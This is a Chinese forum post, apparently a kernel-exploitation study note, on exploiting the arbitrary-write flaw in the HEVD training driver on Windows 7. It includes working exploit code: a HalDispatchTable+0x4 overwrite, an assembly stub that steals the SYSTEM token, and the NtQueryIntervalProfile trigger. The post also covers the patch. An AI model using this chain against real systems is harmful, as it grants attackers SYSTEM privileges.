首页
社区
课程
招聘
[原创]内核漏洞学习[4]-HEVD-ArbitraryWrite
2021-11-2 12:31 12152

[原创]内核漏洞学习[4]-HEVD-ArbitraryWrite

2021-11-2 12:31
12152

HEVD-ArbitraryWrite

一: 概述

HEVD:漏洞靶场,包含各种Windows内核漏洞的驱动程序项目,在Github上就可以找到该项目,进行相关的学习

 

Releases · hacksysteam/HackSysExtremeVulnerableDriver · GitHub

环境准备:

Windows 7 X86 sp1 虚拟机

使用VirtualKD和windbg双机调试

HEVD 3.0+KmdManager+DubugView

 

这个漏洞相对来说不算难。没有什么太多的前置知识。

二:漏洞点分析

分析ArbitraryWrite.c源码, What = UserWriteWhatWhere->What;Where = UserWriteWhatWhere->Where;这两个指针,没有验证地址是否有效,直接拿来进行读写操作,在内核模式下,对不该访问的地址进行读写,会蓝屏。。

 

安全版本检查内存是否正确:

1
2
// ProbeForRead函数,检查用户模式缓冲区是否实际驻留在地址空间的用户部分中,并且正确对齐,(msdn)
//ProbeForwrite常规检查用户模式缓冲区是否实际位于地址空间的用户模式部分,是可行的,并且正确对齐。(msdn)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
NTSTATUS
TriggerArbitraryWrite(
    _In_ PWRITE_WHAT_WHERE UserWriteWhatWhere
)
{
    PULONG_PTR What = NULL;
    PULONG_PTR Where = NULL;
    NTSTATUS Status = STATUS_SUCCESS;
 
    PAGED_CODE();
 
    __try
    {
 
 
        ProbeForRead((PVOID)UserWriteWhatWhere, sizeof(WRITE_WHAT_WHERE), (ULONG)__alignof(UCHAR));
 
        What = UserWriteWhatWhere->What;
        Where = UserWriteWhatWhere->Where;
 
        DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
        DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", sizeof(WRITE_WHAT_WHERE));
        DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", What);
        DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", Where);
 
#ifdef SECURE
 
    //安全版本,对地址进行验证,是否有效。
 
 
        ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));
        ProbeForWrite((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));
 
        *(Where) = *(What);
#else
        DbgPrint("[+] Triggering Arbitrary Write\n");
 
 
 
        *(Where) = *(What);
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
 
 
 
    return Status;
}

三:漏洞利用

在不安全的版本中,没有对两个指针what和where 指向的地址进行验证,那我们可以利用这点,让指针访问我们的shellcode的位置,执行shellcode从而提取。

 

那么现在的问题就是what和where中写入什么内容,如何访问执行到我们的shellocde。

 

1.存在漏洞的ArbitraryWriteIoctlHandler函数对应的IO控制码HEVD_IOCTL_ARBITRARY_WRITE

1
2
3
4
5
case HEVD_IOCTL_ARBITRARY_WRITE:
            DbgPrint("****** HEVD_IOCTL_ARBITRARY_WRITE ******\n");
            Status = ArbitraryWriteIoctlHandler(Irp, IrpSp);
            DbgPrint("****** HEVD_IOCTL_ARBITRARY_WRITE ******\n");
            break;

2._WRITE_WHAT_WHERE结构,8个字节大小,what和where各占四个字节。所以先构造一个大小为8的buf,修改what和where指针,实现任意地址写

1
2
3
4
5
typedef struct _WRITE_WHAT_WHERE
{
    PULONG_PTR What;
    PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;

3.任意地址写测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include<stdio.h>
#include<Windows.h>
 
typedef struct _WRITE_WHAT_WHERE
{
    PULONG_PTR What;
    PULONG_PTR Where;
} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;
 
int main()
{
    PWRITE_WHAT_WHERE Buffer;
    Buffer = (WRITE_WHAT_WHERE*)malloc(sizeof(WRITE_WHAT_WHERE));
    ZeroMemory(Buffer, sizeof(WRITE_WHAT_WHERE));
    Buffer->Where = (PULONG_PTR)0x41414141;
    Buffer->What = (PULONG_PTR)0x41414141;
    DWORD recvBuf;
    // 获取句柄
    HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
        GENERIC_READ | GENERIC_WRITE,
        NULL,
        NULL,
        OPEN_EXISTING,
        NULL,
        NULL);
 
 
    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
    {
        printf("Failed \n");
        return 0;
    }
 
 
    DeviceIoControl(hDevice, HEVD_IOCTL_ARBITRARY_WRITE, Buffer, 8, NULL, 0, &recvBuf, NULL);
 
    return 0;
}

运行,触发漏洞。

 

 

4.任意代码执行测试

 

上述的测试已经实现任意地址写,我们将shellcode写入,如何实现执行payload呢。

 

首先要what指针覆盖为payload的地址,where指针修改为能指向payload地址的指针

1
2
what -> &payload
where -> HalDispatchTable+0x4

前人已经发现了windows不常被使用的一个函数,利用函数NtQueryIntervalProfile,可以实现shellcode的执行,达到任意代码执行效果

 

windbg反汇编NtQueryIntervalProfile函数

1
2
3
4
5
6
7
8
9
10
11
12
kd> uf nt!NtQueryIntervalProfile
.........
84160ecd 7507            jne     nt!NtQueryIntervalProfile+0x6b (84160ed6)  Branch
 
nt!NtQueryIntervalProfile+0x64:
84160ecf a1acebf783      mov     eax,dword ptr [nt!KiProfileInterval (83f7ebac)]
84160ed4 eb05            jmp     nt!NtQueryIntervalProfile+0x70 (84160edb)  Branch
 
nt!NtQueryIntervalProfile+0x6b:
84160ed6 e83ae5fbff      call    nt!KeQueryIntervalProfile (8411f415)
 
.........

84160ed6处 会调用函数KeQueryIntervalProfile,反编译此函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
kd>uf nt!KeQueryIntervalProfile
..........
nt!KeQueryIntervalProfile+0x14:
8411f429 8945f0          mov     dword ptr [ebp-10h],eax
8411f42c 8d45fc          lea     eax,[ebp-4]
8411f42f 50              push    eax
8411f430 8d45f0          lea     eax,[ebp-10h]
8411f433 50              push    eax
8411f434 6a0c            push    0Ch
8411f436 6a01            push    1
8411f438 ff15fcf3f783    call    dword ptr [nt!HalDispatchTable+0x4 (83f7f3fc)]
8411f43e 85c0            test    eax,eax
8411f440 7c0b            jl      nt!KeQueryIntervalProfile+0x38 (8411f44d)  Branch
 
..........

8411f438处, 有指针数组,call dword ptr [nt!HalDispatchTable+0x4 ,这里就是我们payload要覆盖的地方,执行Ring0 Shellcode的主体必须是Ring0程序。这种利用方法是这样的:设法修改内核API导出表(如SSDT、HalDispatchTable等),将内核API函数指针修改为事先准备好的Shellcode地址,然后在本进程中调用这个内核API。最好选择劫持那些冷门内核API函数,否则一旦别的进程也调用这个API,由于Shellcode只保存在当前进程的Ring3内存地址中,别的进程无法访问到,将导致内存访问错误或内核崩溃。

 

利用漏洞将HalDispatchTable表第一个函数HalQuerySystemInformation入口地址篡改,,最后调用该函数的上层封装函数NtWueryIntervalProfile,从而执行Ring0 Shellcode

 

HalDispatchTable结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
HAL_DISPATCH HalDispatchTable = {
    HAL_DISPATCH_VERSION,
    xHalQuerySystemInformation,//此处
    xHalSetSystemInformation,
    xHalQueryBusSlots,
    xHalDeviceControl,
    xHalExamineMBR,
    xHalIoAssignDriveLetters,
    xHalIoReadPartitionTable,
    xHalIoSetPartitionInformation,
    xHalIoWritePartitionTable,
    xHalHandlerForBus,                  // HalReferenceHandlerByBus
    xHalReferenceHandler,               // HalReferenceBusHandler
    xHalReferenceHandler                // HalDereferenceBusHandler
    };

在查HalDispatchTable结构,NtQueryIntervalProfile函数的过程中,发现这个利用有很多,可以更进一步学习。

利用过程

  1. 获取HalDispatchTable地址+0x4地址

  2. 编写Ring0 payload

  3. 利用漏洞向HalDispatchTable地址+0x4地址处写入&payload

  4. 调用NtQueryIntervalProfile,执行payload

1.获取HalDispatchTable地址+0x4地址

思路是先得到内核模块基址,将其与HalDispatchTable在内核模块中的偏移相加

获取ntkrnlpa.exe基址,在内核模式下
ntkrnlpa.exe基址,在用户模式下
HalDispatchTable 地址,在用户模式下
计算 HalDispatchTable+0x4 的地址,利用偏移,地址是内核模式下

 

官方给出的函数HalDispatchTable = GetHalDispatchTable();

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
PVOID GetHalDispatchTable() {
    PCHAR KernelImage;
    SIZE_T ReturnLength;
    HMODULE hNtDll = NULL;
    PVOID HalDispatchTable = NULL;
    HMODULE hKernelInUserMode = NULL;
    PVOID KernelBaseAddressInKernelMode;
    NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
    PSYSTEM_MODULE_INFORMATION pSystemModuleInformation;
 
    hNtDll = LoadLibrary("ntdll.dll");
 
    if (!hNtDll) {
        DEBUG_ERROR("\t\t\t[-] Failed To Load NtDll.dll: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }
 
    NtQuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(hNtDll, "NtQuerySystemInformation");
 
    if (!NtQuerySystemInformation) {
        DEBUG_ERROR("\t\t\t[-] Failed Resolving NtQuerySystemInformation: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }
 
    NtStatus = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &ReturnLength);
 
    // Allocate the Heap chunk
    pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(),
                                                                     HEAP_ZERO_MEMORY,
                                                                     ReturnLength);
 
    if (!pSystemModuleInformation) {
        DEBUG_ERROR("\t\t\t[-] Memory Allocation Failed For SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }
    NtStatus = NtQuerySystemInformation(SystemModuleInformation,
                                        pSystemModuleInformation,
                                        ReturnLength,
                                        &ReturnLength);
 
    if (NtStatus != STATUS_SUCCESS) {
        DEBUG_ERROR("\t\t\t[-] Failed To Get SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }
 
    KernelBaseAddressInKernelMode = pSystemModuleInformation->Module[0].Base;
    KernelImage = strrchr((PCHAR)(pSystemModuleInformation->Module[0].ImageName), '\\') + 1;
 
    DEBUG_INFO("\t\t\t[+] Loaded Kernel: %s\n", KernelImage);
    DEBUG_INFO("\t\t\t[+] Kernel Base Address: 0x%p\n", KernelBaseAddressInKernelMode);
 
    hKernelInUserMode = LoadLibraryA(KernelImage);
 
    if (!hKernelInUserMode) {
        DEBUG_ERROR("\t\t\t[-] Failed To Load Kernel: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }
 
    // This is still in user mode
    HalDispatchTable = (PVOID)GetProcAddress(hKernelInUserMode, "HalDispatchTable");
 
    if (!HalDispatchTable) {
        DEBUG_ERROR("\t\t\t[-] Failed Resolving HalDispatchTable: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }
    else {
        HalDispatchTable = (PVOID)((ULONG_PTR)HalDispatchTable - (ULONG_PTR)hKernelInUserMode);
 
        // Here we get the address of HapDispatchTable in Kernel mode
        HalDispatchTable = (PVOID)((ULONG_PTR)HalDispatchTable + (ULONG_PTR)KernelBaseAddressInKernelMode);
 
        DEBUG_INFO("\t\t\t[+] HalDispatchTable: 0x%p\n", HalDispatchTable);
    }
 
    HeapFree(GetProcessHeap(), 0, (LPVOID)pSystemModuleInformation);
 
    if (hNtDll) {
        FreeLibrary(hNtDll);
    }
 
    if (hKernelInUserMode) {
        FreeLibrary(hKernelInUserMode);
    }
 
    hNtDll = NULL;
    hKernelInUserMode = NULL;
    pSystemModuleInformation = NULL;
 
    return HalDispatchTable;
}

2.编写Ring0 payload

payload功能:遍历进程,得到系统进程的token,把当前进程的token替换,达到提权目的。

 

相关内核结构体:

 

在内核模式下,fs:[0]指向KPCR结构体

1
2
3
4
5
6
7
8
9
10
11
12
_KPCR
+0x120 PrcbData         : _KPRCB
_KPRCB
+0x004 CurrentThread    : Ptr32 _KTHREAD,_KTHREAD指针,这个指针指向_KTHREAD结构体
_KTHREAD
+0x040 ApcState         : _KAPC_STATE
_KAPC_STATE
+0x010 Process          : Ptr32 _KPROCESS,_KPROCESS指针,这个指针指向EPROCESS结构体
_EPROCESS
   +0x0b4 UniqueProcessId  : Ptr32 Void,当前进程ID,系统进程ID=0x04
   +0x0b8 ActiveProcessLinks : _LIST_ENTRY,双向链表,指向下一个进程的ActiveProcessLinks结构体处,通过这个链表我们可以遍历所有进程,以寻找我们需要的进程
   +0x0f8 Token            : _EX_FAST_REF,描述了该进程的安全上下文,同时包含了进程账户相关的身份以及权限

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
__asm {
       pushad                               ; Save registers state
 
       ; Start of Token Stealing Stub
       xor eax, eax                         ; Set ZERO
       mov eax, fs:[eax + KTHREAD_OFFSET]   ; Get nt!_KPCR.PcrbData.CurrentThread
                                            ; _KTHREAD is located at FS:[0x124]
 
       mov eax, [eax + EPROCESS_OFFSET]     ; Get nt!_KTHREAD.ApcState.Process
 
       mov ecx, eax                         ; Copy current process _EPROCESS structure
 
       mov edx, SYSTEM_PID                  ; WIN 7 SP1 SYSTEM process PID = 0x4
 
       SearchSystemPID:
           mov eax, [eax + FLINK_OFFSET]    ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
           sub eax, FLINK_OFFSET
           cmp [eax + PID_OFFSET], edx      ; Get nt!_EPROCESS.UniqueProcessId
           jne SearchSystemPID
 
       mov edx, [eax + TOKEN_OFFSET]        ; Get SYSTEM process nt!_EPROCESS.Token
       mov [ecx + TOKEN_OFFSET], edx        ; Replace target process nt!_EPROCESS.Token
                                            ; with SYSTEM process nt!_EPROCESS.Token
       ; End of Token Stealing Stub
 
       popad                                ; Restore registers state
   }

3.利用漏洞向HalDispatchTable地址+0x4地址处写入&payload

1
2
3
4
5
HalDispatchTable+0x4地址:
HalDispatchTablePlus4 = (PVOID)((ULONG_PTR)HalDispatchTable + sizeof(PVOID));
 
WriteWhatWhere->What = (PULONG_PTR)&EopPayload;
WriteWhatWhere->Where = (PULONG_PTR)HalDispatchTablePlus4;

4.调用NtQueryIntervalProfile函数,执行payload

1
2
3
hNtDll = LoadLibrary("ntdll.dll");
 NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(hNtDll, "NtQueryIntervalProfile");
 NtQueryIntervalProfile(0x1337, &Interval);

运行exp,提权成功:

 

五:补丁分析

在安全版本中已经给出,对what和where指针进行验证,robeForRead函数,ProbeForwrite函数,通过验证在进行操作

 

其他

 

参考链接:

 

0day安全 | Chapter 22 内核漏洞利用技术 (wohin.me)

 

TJ:https://bbs.pediy.com/thread-252506.htm#msg_header_h2_2
........


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞3
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回